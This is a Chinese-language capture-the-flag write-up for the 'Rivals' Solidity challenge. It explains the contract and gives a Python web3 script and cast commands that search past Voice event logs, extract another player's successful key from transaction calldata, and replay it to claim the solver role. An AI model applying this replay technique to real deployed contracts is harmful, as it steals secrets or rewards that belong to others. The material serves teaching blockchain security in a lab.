查看给到的两个附件

Rivals.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag;
    address public solver;

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

定义了事件 Voice、bytes32变量 encryptedFlag、hashedFlag、地址变量 solver、函数talk()

Voice 记录了每次调用 talk()的结果,其中indexed 关键字允许我们通过在链上通过值来查询状态

然后构造函数在合约部署的时候接受_encrypted、_hashed 赋值给encryptedFlag、hashedFlag

调用 talk()函数时传入的 _key 将异或encryptedFlag,然后算出的 hash 值如果等于hashedFlag,就将solver 设置为 msg.sender,并且将事件值记录为 5

setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}

可以知道当 solver 为我们自己的地址的时候,我们就完成挑战

我们没有任何已知的消息,如果使用暴力破解计算key,那么 byte32,32 个字节,1 字节 8 位,有 2^256 种可能,结合题目,盗贼的荣誉加上indexed 关键字可以查询

感觉 log 中应该有关键信息

cast call <target address> "solver()(address)"  --rpc-url <rpc url> --from <address> --private-key <private key> --interactive

按照道理来说,初始化之后,solver 我们还没挑战成功,没有值,应该是 0x0,所以这表示这之前有一个地址成功用 key 匹配到了hashedFlag,那么我们只需要查询 log 中的 Voice 事件为 5 的信息即可,就可以偷到他的 key

cast logs "event Voice(uint256 indexed severity)" --from-block earliest --to-block latest --rpc-url $RPC

但是输出之后我们会发现有很多区块信息,那么我们就需要过滤一下

写一个脚本

from web3 import Web3
import requests
import json

url = "http://94.237.59.180:43695"

info = json.loads(requests.get(url + "/connection_info").content)

privkey = info["PrivateKey"]
target_addr = info["TargetAddress"]
pub_address = info["Address"]

w3 = Web3(Web3.HTTPProvider(url + '/rpc'))

def string_to_bytes32(text):
    return Web3.to_bytes(text=text).ljust(32, b'\0')

contract = w3.eth.contract(address=target_addr, abi=open("abi.json", "r").read())

# 获取事件签名的 Keccak 哈希值
event_signature = Web3.keccak(text='Voice(uint256)').hex()

# 使用 web3.eth.filter 创建过滤器
filter_params = {
    'fromBlock': 0,
    'address': target_addr,
    'topics': [event_signature]
}

event_filter = w3.eth.filter(filter_params)

logs = event_filter.get_all_entries()

tx_hash = None  # 初始化 tx_hash 变量

for log in logs:
    tx_receipt = w3.eth.wait_for_transaction_receipt(log['transactionHash'].hex())
    if tx_receipt['logs'][0]['topics'][1] == b'\x00'*31 + b'\x05':
        print("find!!!")
        tx_hash = log['transactionHash'].hex()
        print(f"Transaction Hash: {tx_hash}")  # 输出 transaction hash 的值
        break

if tx_hash is None:
    print("No matching transaction found.")
else:
    key = w3.eth.get_transaction(tx_hash)['input'].hex()
    key = bytes.fromhex(key[2:])[4:] # key is including function selector which is 4 bytes

    # 将 key 转换为 bytes32 类型
    key_bytes32 = w3.to_bytes(hexstr=key.hex().ljust(64, '0'))

    transaction = contract.functions.talk(key_bytes32).build_transaction(
        {
            "chainId": w3.eth.chain_id,
            "gasPrice": w3.eth.gas_price,
            "from": pub_address,
            "nonce": w3.eth.get_transaction_count(pub_address),
            "value": 0 
        }
    )

    # 签名交易
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=privkey)

    # 发送已签名的交易
    tx_hash_new = w3.eth.send_raw_transaction(sign_transaction.raw_transaction)
    tx_receipt_new = w3.eth.wait_for_transaction_receipt(tx_hash_new)

    print(f"New Transaction Hash: {tx_hash_new.hex()}")  # 输出新交易的 transaction hash

print(requests.get(url + '/flag').content.decode())

脚本本意只是获取transactionHash,所以目的算是达成了,后续可以依靠 foundry 自行获取 key 值

依靠transactionHash 获取交易详情的 input

cast tx  <transactionHash> --rpc-url <rpc url>

这个 input 需要解密获取 key

cast calldata-decode "talk(bytes32)" 0x52eab0faca49874812ce85f1e1090f791fdc59b21fa71d88e9f74717b24834cffd4f04bf

依靠偷到的 key 进行交互

cast send <target address> "talk(bytes32)" <key> --rpc-url <rpc url> --interactive

打开 /flag 就可以


"The quieter you become, the more you are able to hear."